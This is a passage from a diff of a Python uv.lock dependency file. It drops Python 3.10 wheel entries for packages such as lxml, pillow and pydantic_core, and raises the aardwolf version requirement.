"sha256:556e94a63c9b04716f8e4de2abb65775061f846e89331b6c5be79183a24f98ea", size = 5002687, upload-time = "2026-05-18T19:17:01.738Z" }, - { url = "https://files.pythonhosted.org/packages/96/1d/ab7a5c4b5a394d98a94e2d0fc67bab8297597426770dd4978370fbdaf531/lxml-6.1.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5c6bf403fbb3b3e348a561a5f4f0b9961835657981c802a1df03653eef8a9074", size = 5155099, upload-time = "2026-05-18T19:17:05.159Z" }, - { url = "https://files.pythonhosted.org/packages/d0/b1/07603bfeeb891a2596d5c2a68f7d2f70f7d11c841ebe391412c69c2857b0/lxml-6.1.1-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1dde6131244bba38a17c745836ba190bc753fd73c9291666287fd0a3fa3dcf30", size = 5057225, upload-time = "2026-05-18T19:17:08.117Z" }, - { url = "https://files.pythonhosted.org/packages/7a/16/cb391ee4b90186fa16d9ebcbe3ea96c71b8da3b0686386c8dcbcc3c67d44/lxml-6.1.1-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:98fc784c2c1440667aeedf8465bdfe10208acf0ead656a2c68627299f546b315", size = 5287643, upload-time = "2026-05-18T19:17:11.507Z" }, - { url = "https://files.pythonhosted.org/packages/eb/d6/b619717f918fd76747448fdbaee0e769edbc70e659b5b5d0112b7020b7a3/lxml-6.1.1-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:add8cf6ddf9a65116119a28ece0f7886e30af27ba724a7594305f1d1b58a92a1", size = 5412445, upload-time = "2026-05-18T19:17:22.182Z" }, - { url = "https://files.pythonhosted.org/packages/c6/80/12bc5390ac0a3edeb579d9535e5049a5dda663438728e179d52fb319c33a/lxml-6.1.1-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:cf9d57306d848218f3601fee7601fab1a327c942d56e2e97610583cb4dd74206", size = 4770864, upload-time = "2026-05-18T19:17:26.851Z" }, - { url = "https://files.pythonhosted.org/packages/0b/59/6500c09da3137f54f020e908d81cfc5ee3e8888e908fd380207afad7c2e6/lxml-6.1.1-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:88136950da4d13c318bde414ce10219931937851327f44328f2df4d2c4614067", size = 5359594, upload-time = "2026-05-18T19:17:32.527Z" }, - { url = "https://files.pythonhosted.org/packages/f2/9b/f64b4cc6b7ebcf75d95af3cde934d254b5f2f10d4163928d838d86b6eb48/lxml-6.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cecdd5dfdc87b1fd87dbf81d4b037a544f47f4c744200a67013771682d67686a", size = 5107713, upload-time = "2026-05-18T19:17:04.402Z" }, - { url = "https://files.pythonhosted.org/packages/16/19/c7388ad5d3a72315d2832dc1458cbf4f2af7f2b990b606ff4876efd04511/lxml-6.1.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:cd312b9692e831d2ffcad61eab31d91d4b4655a962e61de8fb410472cbcd37aa", size = 4803973, upload-time = "2026-05-18T19:17:06.545Z" }, - { url = "https://files.pythonhosted.org/packages/3f/22/76197f0bbf165f0b9e75be59be4997e5259cde973f12f098c1b54c7f5d60/lxml-6.1.1-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:5b7328b46d49fc9477d91ae8f6d55340347d827b7734ba3ea33faae0efef1383", size = 5349925, upload-time = "2026-05-18T19:17:09.743Z" }, - { url = "https://files.pythonhosted.org/packages/24/52/d2a0cfeccb9bcdc47c7ee05cdae5d69b48c9acf20997790a6338bb0d0b3b/lxml-6.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:37a58976370f36d9329d118ad0b953c5aeb9119ac9c6a4e258942a225d0573a1", size = 5309825, upload-time = "2026-05-18T19:17:13.831Z" }, - { url = "https://files.pythonhosted.org/packages/19/4a/b30944266776c2f49749ef2445aa7e78898194134b80ad776386f61b56ae/lxml-6.1.1-cp310-cp310-win32.whl", hash = "sha256:cea3f4c1af79af13cdb2da0c028111d8f8522d4f22a000c82385535f24e5cf3a", size = 3598402, upload-time = "2026-05-18T19:17:08.21Z" }, - { url = "https://files.pythonhosted.org/packages/9e/97/33691c66a4d7ec1a5a98e7c909a5b83ee45c7f7ba4cf92b1c4cf26e98079/lxml-6.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:3abf332af33a74288675d936fe861fd4344da0dd6622193fbc4f2bfbb35536b5", size = 4021295, upload-time = "2026-05-18T19:17:28.638Z" }, - { url = "https://files.pythonhosted.org/packages/d0/5f/26a4dd0e12b9456ff7b12a21af5b491eb6629680d1edd73f4140fd386bcf/lxml-6.1.1-cp310-cp310-win_arm64.whl", hash = "sha256:8dadbe5b217ff35b6a8d16610dd710219b59b76d13f0e3f0d9f36786206e4485", size = 3667717, upload-time = "2026-05-19T19:22:44.474Z" }, { url = "https://files.pythonhosted.org/packages/62/b0/83f481780d1548750b8ce2ec824073deef2f452d9cd1a6faff8507e3d16d/lxml-6.1.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:53b7d2b7a10b1c35c0a5e21e9224accf60c1bbfba523990732e521b2b73adef2", size = 8526461, upload-time = "2026-05-18T19:17:25.862Z" }, { url = "https://files.pythonhosted.org/packages/b9/d5/30fa0f808002c7329397bfbb24e306789c0b29f04aa5842c07b174b4216f/lxml-6.1.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ff3f333630ab480244a1bff72043e511a91eb22e7595dead8653ee5612dd8f3d", size = 4595375, upload-time = "2026-05-18T19:17:34.555Z" }, { url = "https://files.pythonhosted.org/packages/4f/d2/edb71cf0e561581a7c5eb2626244320eb04e9f8ce6d563184fd668b45073/lxml-6.1.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a4bbea04c97f6d78a48e3fbc1cb9116d2780b1b39e03a23f6eb9b603fd61f510", size = 4923654, upload-time = "2026-05-18T19:17:42.917Z" }, @@ -1176,17 +1092,6 @@ version = "3.0.3" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/e8/4b/3541d44f3937ba468b75da9eebcae497dcf67adb65caa16760b0a6807ebb/markupsafe-3.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2f981d352f04553a7171b8e44369f2af4055f888dfb147d55e42d29e29e74559", size = 11631, upload-time = "2025-09-27T18:36:05.558Z" }, - { url = "https://files.pythonhosted.org/packages/98/1b/fbd8eed11021cabd9226c37342fa6ca4e8a98d8188a8d9b66740494960e4/markupsafe-3.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e1c1493fb6e50ab01d20a22826e57520f1284df32f2d8601fdd90b6304601419", size = 12057, upload-time = "2025-09-27T18:36:07.165Z" }, - { url = "https://files.pythonhosted.org/packages/40/01/e560d658dc0bb8ab762670ece35281dec7b6c1b33f5fbc09ebb57a185519/markupsafe-3.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ba88449deb3de88bd40044603fafffb7bc2b055d626a330323a9ed736661695", size = 22050, upload-time = "2025-09-27T18:36:08.005Z" }, - { url = "https://files.pythonhosted.org/packages/af/cd/ce6e848bbf2c32314c9b237839119c5a564a59725b53157c856e90937b7a/markupsafe-3.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f42d0984e947b8adf7dd6dde396e720934d12c506ce84eea8476409563607591", size = 20681, upload-time = "2025-09-27T18:36:08.881Z" }, - { url = "https://files.pythonhosted.org/packages/c9/2a/b5c12c809f1c3045c4d580b035a743d12fcde53cf685dbc44660826308da/markupsafe-3.0.3-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c0c0b3ade1c0b13b936d7970b1d37a57acde9199dc2aecc4c336773e1d86049c", size = 20705, upload-time = "2025-09-27T18:36:10.131Z" }, - { url = "https://files.pythonhosted.org/packages/cf/e3/9427a68c82728d0a88c50f890d0fc072a1484de2f3ac1ad0bfc1a7214fd5/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0303439a41979d9e74d18ff5e2dd8c43ed6c6001fd40e5bf2e43f7bd9bbc523f", size = 21524, upload-time = "2025-09-27T18:36:11.324Z" }, - { url = "https://files.pythonhosted.org/packages/bc/36/23578f29e9e582a4d0278e009b38081dbe363c5e7165113fad546918a232/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:d2ee202e79d8ed691ceebae8e0486bd9a2cd4794cec4824e1c99b6f5009502f6", size = 20282, upload-time = "2025-09-27T18:36:12.573Z" }, - { url = "https://files.pythonhosted.org/packages/56/21/dca11354e756ebd03e036bd8ad58d6d7168c80ce1fe5e75218e4945cbab7/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:177b5253b2834fe3678cb4a5f0059808258584c559193998be2601324fdeafb1", size = 20745, upload-time = "2025-09-27T18:36:13.504Z" }, - { url = "https://files.pythonhosted.org/packages/87/99/faba9369a7ad6e4d10b6a5fbf71fa2a188fe4a593b15f0963b73859a1bbd/markupsafe-3.0.3-cp310-cp310-win32.whl", hash = "sha256:2a15a08b17dd94c53a1da0438822d70ebcd13f8c3a95abe3a9ef9f11a94830aa", size = 14571, upload-time = "2025-09-27T18:36:14.779Z" }, - { url = "https://files.pythonhosted.org/packages/d6/25/55dc3ab959917602c96985cb1253efaa4ff42f71194bddeb61eb7278b8be/markupsafe-3.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:c4ffb7ebf07cfe8931028e3e4c85f0357459a3f9f9490886198848f4fa002ec8", size = 15056, upload-time = "2025-09-27T18:36:16.125Z" }, - { url = "https://files.pythonhosted.org/packages/d0/9e/0a02226640c255d1da0b8d12e24ac2aa6734da68bff14c05dd53b94a0fc3/markupsafe-3.0.3-cp310-cp310-win_arm64.whl", hash = "sha256:e2103a929dfa2fcaf9bb4e7c091983a49c9ac3b19c9061b6d5427dd7d14d81a1", size = 13932, upload-time = "2025-09-27T18:36:17.311Z" }, { url = "https://files.pythonhosted.org/packages/08/db/fefacb2136439fc8dd20e797950e749aa1f4997ed584c62cfb8ef7c2be0e/markupsafe-3.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1cc7ea17a6824959616c525620e387f6dd30fec8cb44f649e31712db02123dad", size = 11631, upload-time = "2025-09-27T18:36:18.185Z" }, { url = "https://files.pythonhosted.org/packages/e1/2e/5898933336b61975ce9dc04decbc0a7f2fee78c30353c5efba7f2d6ff27a/markupsafe-3.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a", size = 12058, upload-time = "2025-09-27T18:36:19.444Z" }, { url = "https://files.pythonhosted.org/packages/1d/09/adf2df3699d87d1d8184038df46a9c80d78c0148492323f4693df54e17bb/markupsafe-3.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50", size = 24287, upload-time = "2025-09-27T18:36:20.768Z" }, @@ -1404,7 +1309,7 @@ dev = [ [package.metadata] requires-dist = [ - { name = "aardwolf", specifier = ">=0.2.8" }, + { name = "aardwolf", specifier = ">=0.2.14" }, { name = "argcomplete", specifier = ">=3.1.4" }, { name = "asyauth", specifier = ">=0.0.20" }, { name = "beautifulsoup4", specifier = ">=4.11,<5" }, @@ -1515,15 +1420,6 @@ version = "12.3.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/1c/3d/bb7fca845737cf9d7dbde16ed1843984665ff2e0a518f5db43e77ec540b9/pillow-12.3.0.tar.gz", hash = "sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce", size = 47025035, upload-time = "2026-07-01T11:56:38.965Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/25/c2/669d88644cddb1485bd9534e63e8cf476c8e51cb3c3a1297677023505c0e/pillow-12.3.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:6c0016e7b354317c4e9e525b937ac8596c38d2d232b419529b9cd7a1cd46e39a", size = 5392418, upload-time = "2026-07-01T11:53:27.808Z" }, - { url = "https://files.pythonhosted.org/packages/6b/ba/3762f376a2948e3036488d773a146e0ae6ecc2ca03ac20e2615bd0b2ba02/pillow-12.3.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:bcc33feacfaefce60c12fd500a277533bdc02b10a19f7f6d348763d8140bbba7", size = 4785287, upload-time = "2026-07-01T11:53:29.761Z" }, - { url = "https://files.pythonhosted.org/packages/07/50/b5d688cc9c52d4482f3d5bcab6ce20bc2a74a85d2343841c907444a3be2c/pillow-12.3.0-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5594fc43d548a7ed94949d139aa1341b270f1863f11cfd37f5a6c8b778a6b67f", size = 6253754, upload-time = "2026-07-01T11:53:32.298Z" }, - { url = "https://files.pythonhosted.org/packages/4e/89/36f4cd76cf4baf05c50ababb976249153f18c959171c7f6ba09a6f217260/pillow-12.3.0-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f0606c8bf2cdefea14a43530f7657cbbb7ecf1c4222512492ef4a4434a9501ec", size = 6925605, upload-time = "2026-07-01T11:53:34.487Z" }, - { url = "https://files.pythonhosted.org/packages/eb/c0/4de58cf6633b9e3a6061ef4be6fb91fc3c90b812ece886f531e3c523d777/pillow-12.3.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:85f998ea1848bc6757289e739cfbdda3a04adfd58b02fc018ce54d754a5ce468", size = 6327788, upload-time = "2026-07-01T11:53:36.433Z" }, - { url = "https://files.pythonhosted.org/packages/87/3c/14d53682a19550dbbaf3b598f807d5457646c510805a44c7d7891cd1cd1a/pillow-12.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:25b9b82bb22e6e2b3cd07b39c68b7b862001226cb3dff7130d1cb914121b39ed", size = 7036288, upload-time = "2026-07-01T11:53:38.712Z" }, - { url = "https://files.pythonhosted.org/packages/38/1d/36279e3c77efe034e4cc2b0393ee74ffdb5a62391dacbf9b916154f5f0b8/pillow-12.3.0-cp310-cp310-win32.whl", hash = "sha256:37dc8f7bbb66efe481bb60defacef820c950c24713fb44962ed6aa2a50966de1", size = 6472396, upload-time = "2026-07-01T11:53:40.781Z" }, - { url = "https://files.pythonhosted.org/packages/48/7c/8fa0039574c476d7c6fa57dd7c32a130436877c6ec1e5ce1cc8ec44878c1/pillow-12.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:300557495eb45ebb8aec96c2da9c4be642fbf7cd937278b4013ba894ea8eb0eb", size = 7226887, upload-time = "2026-07-01T11:53:42.764Z" }, - { url = "https://files.pythonhosted.org/packages/fa/17/e324be141d173c1c919428066c3259f21c1b8982e564e01a4a81e96dbdcf/pillow-12.3.0-cp310-cp310-win_arm64.whl", hash = "sha256:514435a37670e3e5e08f3945b68718b6ed329bb84367777e16f9f4dfe1e61a0f", size = 2568039, upload-time = "2026-07-01T11:53:45.372Z" }, { url = "https://files.pythonhosted.org/packages/fb/c8/0a78b0e02d7ac54bc03e5321c9220da52f0c2ea83b21f7c40e7f3169c502/pillow-12.3.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:00808c5e14ef63ac5161091d242999076604ff74b883423a11e5d7bbb38bf756", size = 5392415, upload-time = "2026-07-01T11:53:47.162Z" }, { url = "https://files.pythonhosted.org/packages/b2/5b/a02d30018abd97ced9f5a6c63d28597694a00d066516b9c1c6de45859fc9/pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6", size = 4785266, upload-time = "2026-07-01T11:53:49.079Z" }, { url = "https://files.pythonhosted.org/packages/c8/98/766667a4be768150a202836acd9fad19c06824ca86c4286d3cf6b274964e/pillow-12.3.0-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bcb46e2f9feff8d06323983bd83ed00c201fdcab3d74973e7072a889b3979fcd", size = 6263814, upload-time = "2026-07-01T11:53:51.32Z" }, @@ -1688,11 +1584,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/b8/2a/25e0be2b509c28375c7f75c7e8d8d060773f2cce4856a1654276e3202339/pycryptodome-3.22.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:d21c1eda2f42211f18a25db4eaf8056c94a8563cd39da3683f89fe0d881fb772", size = 2262255, upload-time = "2025-03-15T23:02:58.055Z" }, { url = "https://files.pythonhosted.org/packages/41/58/60917bc4bbd91712e53ce04daf237a74a0ad731383a01288130672994328/pycryptodome-3.22.0-cp37-abi3-win32.whl", hash = "sha256:f02baa9f5e35934c6e8dcec91fcde96612bdefef6e442813b8ea34e82c84bbfb", size = 1763403, upload-time = "2025-03-15T23:03:00.616Z" }, { url = "https://files.pythonhosted.org/packages/55/f4/244c621afcf7867e23f63cfd7a9630f14cfe946c9be7e566af6c3915bcde/pycryptodome-3.22.0-cp37-abi3-win_amd64.whl", hash = "sha256:d086aed307e96d40c23c42418cbbca22ecc0ab4a8a0e24f87932eeab26c08627", size = 1794568, upload-time = "2025-03-15T23:03:03.189Z" }, - { url = "https://files.pythonhosted.org/packages/37/c3/e3423e72669ca09f141aae493e1feaa8b8475859898b04f57078280a61c4/pycryptodome-3.22.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:b4bdce34af16c1dcc7f8c66185684be15f5818afd2a82b75a4ce6b55f9783e13", size = 1618698, upload-time = "2025-03-15T23:03:11.163Z" }, - { url = "https://files.pythonhosted.org/packages/f9/b7/35eec0b3919cafea362dcb68bb0654d9cb3cde6da6b7a9d8480ce0bf203a/pycryptodome-3.22.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2988ffcd5137dc2d27eb51cd18c0f0f68e5b009d5fec56fbccb638f90934f333", size = 1666957, upload-time = "2025-03-15T23:03:14.03Z" }, - { url = "https://files.pythonhosted.org/packages/b0/1f/f49bccdd8d61f1da4278eb0d6aee7f988f1a6ec4056b0c2dc51eda45ae27/pycryptodome-3.22.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e653519dedcd1532788547f00eeb6108cc7ce9efdf5cc9996abce0d53f95d5a9", size = 1659242, upload-time = "2025-03-15T23:03:16.185Z" }, - { url = "https://files.pythonhosted.org/packages/95/43/a01dcf1ed39c9a9e9c9d3f9d98040deeceedaa7cdf043e175251f2e13f44/pycryptodome-3.22.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f5810bc7494e4ac12a4afef5a32218129e7d3890ce3f2b5ec520cc69eb1102ad", size = 1697246, upload-time = "2025-03-15T23:03:18.436Z" }, - { url = "https://files.pythonhosted.org/packages/3b/49/195842931f9ee6f14cd63ef85e06b93073463ed59601fb283ba9b813cd53/pycryptodome-3.22.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:e7514a1aebee8e85802d154fdb261381f1cb9b7c5a54594545145b8ec3056ae6", size = 1797436, upload-time = "2025-03-15T23:03:21.294Z" }, ] [[package]] @@ -1723,11 +1614,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/8d/67/09ee8500dd22614af5fbaa51a4aee6e342b5fa8aecf0a6cb9cbf52fa6d45/pycryptodomex-3.23.0-cp37-abi3-win32.whl", hash = "sha256:189afbc87f0b9f158386bf051f720e20fa6145975f1e76369303d0f31d1a8d7c", size = 1771969, upload-time = "2025-05-17T17:23:07.115Z" }, { url = "https://files.pythonhosted.org/packages/69/96/11f36f71a865dd6df03716d33bd07a67e9d20f6b8d39820470b766af323c/pycryptodomex-3.23.0-cp37-abi3-win_amd64.whl", hash = "sha256:52e5ca58c3a0b0bd5e100a9fbc8015059b05cffc6c66ce9d98b4b45e023443b9", size = 1803124, upload-time = "2025-05-17T17:23:09.267Z" }, { url = "https://files.pythonhosted.org/packages/f9/93/45c1cdcbeb182ccd2e144c693eaa097763b08b38cded279f0053ed53c553/pycryptodomex-3.23.0-cp37-abi3-win_arm64.whl", hash = "sha256:02d87b80778c171445d67e23d1caef279bf4b25c3597050ccd2e13970b57fd51", size = 1707161, upload-time = "2025-05-17T17:23:11.414Z" }, - { url = "https://files.pythonhosted.org/packages/f3/b8/3e76d948c3c4ac71335bbe75dac53e154b40b0f8f1f022dfa295257a0c96/pycryptodomex-3.23.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ebfff755c360d674306e5891c564a274a47953562b42fb74a5c25b8fc1fb1cb5", size = 1627695, upload-time = "2025-05-17T17:23:17.38Z" }, - { url = "https://files.pythonhosted.org/packages/6a/cf/80f4297a4820dfdfd1c88cf6c4666a200f204b3488103d027b5edd9176ec/pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eca54f4bb349d45afc17e3011ed4264ef1cc9e266699874cdd1349c504e64798", size = 1675772, upload-time = "2025-05-17T17:23:19.202Z" }, - { url = "https://files.pythonhosted.org/packages/d1/42/1e969ee0ad19fe3134b0e1b856c39bd0b70d47a4d0e81c2a8b05727394c9/pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2596e643d4365e14d0879dc5aafe6355616c61c2176009270f3048f6d9a61f", size = 1668083, upload-time = "2025-05-17T17:23:21.867Z" }, - { url = "https://files.pythonhosted.org/packages/6e/c3/1de4f7631fea8a992a44ba632aa40e0008764c0fb9bf2854b0acf78c2cf2/pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fdfac7cda115bca3a5abb2f9e43bc2fb66c2b65ab074913643803ca7083a79ea", size = 1706056, upload-time = "2025-05-17T17:23:24.031Z" }, - { url = "https://files.pythonhosted.org/packages/f2/5f/af7da8e6f1e42b52f44a24d08b8e4c726207434e2593732d39e7af5e7256/pycryptodomex-3.23.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:14c37aaece158d0ace436f76a7bb19093db3b4deade9797abfc39ec6cd6cc2fe", size = 1806478, upload-time = "2025-05-17T17:23:26.066Z" }, ] [[package]] @@ -1754,20 +1640,6 @@ dependencies = [ ] sdist = { url = "https://files.pythonhosted.org/packages/9d/56/921726b776ace8d8f5db44c4ef961006580d91dc52b803c489fafd1aa249/pydantic_core-2.46.4.tar.gz", hash = "sha256:62f875393d7f270851f20523dd2e29f082bcc82292d66db2b64ea71f64b6e1c1", size = 471464, upload-time = "2026-05-06T13:37:06.98Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/e7/08/f1ba952f1c8ae5581c70fa9c6da89f247b83e3dd8c09c035d5d7931fc23d/pydantic_core-2.46.4-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:a396dcc17e5a0b164dbe026896245a4fa9ff402edca1dff0be3d53a517f74de4", size = 2113146, upload-time = "2026-05-06T13:37:36.537Z" }, - { url = "https://files.pythonhosted.org/packages/56/c6/65f646c7ff09bd257f660434adb45c4dfcbbcebcc030562fecf6f5bf887d/pydantic_core-2.46.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:da4b951fe36dc7c3a1ccb4e3cd1747c3542b8c9ceede8fc86cae054e764485f5", size = 1949769, upload-time = "2026-05-06T13:37:46.365Z" }, - { url = "https://files.pythonhosted.org/packages/64/ba/bfb1d928fd5b49e1258935ff104ae356e9fd89384a55bf9f847e9193ad40/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bb63e0198ca18aad131c089b9204c23079c3afa95487e561f4c522d519e55aba", size = 1974958, upload-time = "2026-05-06T13:37:28.611Z" }, - { url = "https://files.pythonhosted.org/packages/4e/74/76223bfb117b64af743c9b6670d1364516f5c0604f96b48f3272f6af6cc6/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f47286a97f0bc9b8859519809077b91b2cefe4ae47fcbf5e466a009c1c5d742b", size = 2042118, upload-time = "2026-05-06T13:36:55.216Z" }, - { url = "https://files.pythonhosted.org/packages/cb/7b/848732968bc8f48f3187542f08358b9d842db564147b256669426ebb1652/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:905a0ed8ea6f2d61c1738835f99b699348d7857379083e5fc497fa0c967a407c", size = 2222876, upload-time = "2026-05-06T13:38:25.455Z" }, - { url = "https://files.pythonhosted.org/packages/b5/2f/e90b63ee2e14bd8d3db8f705a6d75d64e6ee1b7c2c8833747ce706e1e0ce/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ea793e075b70290d89d8142074262885d3f7da19634845135751bd6344f73b50", size = 2286703, upload-time = "2026-05-06T13:37:53.304Z" }, - { url = "https://files.pythonhosted.org/packages/ba/1e/acc4d70f88a0a277e4a1fa77ebb985ceabaf900430f875bf9338e11c9420/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:395aebd9183f9d112f569aeb5b2214d1a10a33bec8456447f7fbdfa51d38d4cd", size = 2092042, upload-time = "2026-05-06T13:38:46.981Z" }, - { url = "https://files.pythonhosted.org/packages/a9/da/0a422b57bf8504102bf3c4ccea9c41bab5a5cee6a54650acf8faf67f5a24/pydantic_core-2.46.4-cp310-cp310-manylinux_2_31_riscv64.whl", hash = "sha256:b078afbc25f3a1436c7a1d2cd3e322497ee99615ba97c563566fdf46aff1ee01", size = 2117231, upload-time = "2026-05-06T13:39:23.146Z" }, - { url = "https://files.pythonhosted.org/packages/bd/2a/2ac13c3af305843e23c5078c53d135656b3f05a2fd78cb7bbbb12e97b473/pydantic_core-2.46.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f747929cf940cddb5b3668a390056ddd5ba2e5010615ea2dcf4f9c4f3ab8791d", size = 2168388, upload-time = "2026-05-06T13:40:08.06Z" }, - { url = "https://files.pythonhosted.org/packages/72/04/2beacf7e1607e93eefe4aed1b4709f079b905fb77530179d4f7c71745f22/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:daa27d92c36f24388fe3ad306b174781c747627f134452e4f128ea00ce1fe8c4", size = 2184769, upload-time = "2026-05-06T13:38:13.901Z" }, - { url = "https://files.pythonhosted.org/packages/9e/29/d2b9fd9f539133548eaf622c06a4ce176cb46ac59f32d0359c4abc0de047/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:19e51f073cd3df251856a8a4189fbdf1de4012c3ebacfb1884f94f1eb406079f", size = 2319312, upload-time = "2026-05-06T13:39:08.24Z" }, - { url = "https://files.pythonhosted.org/packages/7c/af/0f7a5b85fec6075bea96e3ef9187de38fccced0de92c1e7feda8d5cc7bb9/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c1747f85cee84c26985853c6f3d9bd3e75da5212912443fa111c113b9c246f39", size = 2361817, upload-time = "2026-05-06T13:38:43.2Z" }, - { url = "https://files.pythonhosted.org/packages/25/a4/73363fec545fd3ec025490bdda2743c56d0dd5b6266b1a53bbe9e4265375/pydantic_core-2.46.4-cp310-cp310-win32.whl", hash = "sha256:2f84c03c8607173d16b5a854ec68a2f9079ae03237a54fb506d13af47e1d018d", size = 1987085, upload-time = "2026-05-06T13:39:25.497Z" }, - { url = "https://files.pythonhosted.org/packages/01/aa/62f082da2c91fac1c234bc9ee0066257ce83f0604abd72e4c9d5991f2d84/pydantic_core-2.46.4-cp310-cp310-win_amd64.whl", hash = "sha256:8358a950c8909158e3df31538a7e4edc2d7265a7c54b47f0864d9e5bae9dcebf", size = 2074311, upload-time = "2026-05-06T13:39:59.922Z" }, { url = "https://files.pythonhosted.org/packages/5c/fa/6d7708d2cfc1a832acb6aeb0cd16e801902df8a0f583bb3b4b527fde022e/pydantic_core-2.46.4-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:0e96592440881c74a213e5ad528e2b24d3d4f940de2766bed9010ab1d9e51594", size = 2111872, upload-time = "2026-05-06T13:40:27.596Z" }, { url = "https://files.pythonhosted.org/packages/ae/6f/aa064a3e74b5745afbdf250594f38e7ead05e2d651bcb35994b9417a0d4d/pydantic_core-2.46.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e0d65b8c354be7fb5f720c3caa8bc940bc2d20ce749c8e06135f07f8ed95dd7c", size = 1948255, upload-time = "2026-05-06T13:39:12.574Z" }, { url = 